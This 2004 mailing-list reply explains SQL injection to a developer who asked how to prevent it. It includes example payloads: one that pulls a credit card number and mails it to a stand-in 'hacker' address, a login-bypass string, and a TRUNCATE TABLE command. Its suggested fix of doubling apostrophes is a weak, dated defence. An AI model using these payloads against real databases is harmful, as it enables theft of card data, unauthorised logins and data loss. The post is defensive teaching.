[thelist] SQL Update CORRECTION
Paul Cowan
evolt at funkwit.com
Tue Jul 13 18:14:54 CDT 2004
On 13/07/2004 12:07 PM -0300 Sarah Sweeney wrote:
> Although I wonder - shouldn't the user
> account which the web site uses to access the database not have
> permissions to execute a trucate query?
Well, you've still done damage, because all of a sudden ALL of the invoices
are set to a total of 1, which might be enough to make major headaches (at
best) for the company. Obviously there are other ways to damage data than
truncate - UPDATE, DELETE, INSERT -- but that's not the point. Also, never
forget there's a lot of damage that can be done without actually updating
ANYTHING; for some businesses, SELECT is all you need.
What if the string the user put in was
"1'; DECLARE @CCNumber VARCHAR (20); SELECT @CCNumber =
CreditCardNumber FROM UserAccount WHERE Email =
'billg at microsoft.com'; EXEC xp_sendmail 'hacker at hacker.com',
@CCNumber; --"
? Might not work on a particular server, but be creative... theres a lot
you can do.
What if your query was
SELECT * FROM UserAccounts WHERE Username = '" & request("user")
* "' AND Password = '" & request("pass") & "'"
which I've seen before?
Well, if the user puts in user name of 'georgewbush' and password of
mypass' OR 'A' = 'A
? Then what happens is an exercise for the reader...
> My question is, what is/are the best method(s) you and others would
> recommend for preventing these attacks? Do you have any recommendations
> for applications that do not use stored procedures?
Simple: never ever trust what is sent by an untrusted client. Even if your
HTML has <input maxlength="20">, there's nothing to stop a hacker sending a
500-character string to see what breaks; if you need an integer to select
something out of a database, don't assume that because you have
<select><option value=1><option value=2>...<option value=9></select>, that
the browser will send a number from 1 to 9. It might send 0, or 10, or 9;
TRUNCATE TABLE Orders.
If you must just build a string from what the client sends, AT THE VERY
LEAST make sure you (in the case of SQL Server; other DBMSs might have
different requirements) replace all apostrophes with double apostrophes
when youre treating the users input as a string; when youre treating it
as numeric, make sure it really is.
Fundamentally though, the first rule of application security is trust
nothing that you do not KNOW is trustable.
Paul
More information about the thelist
mailing list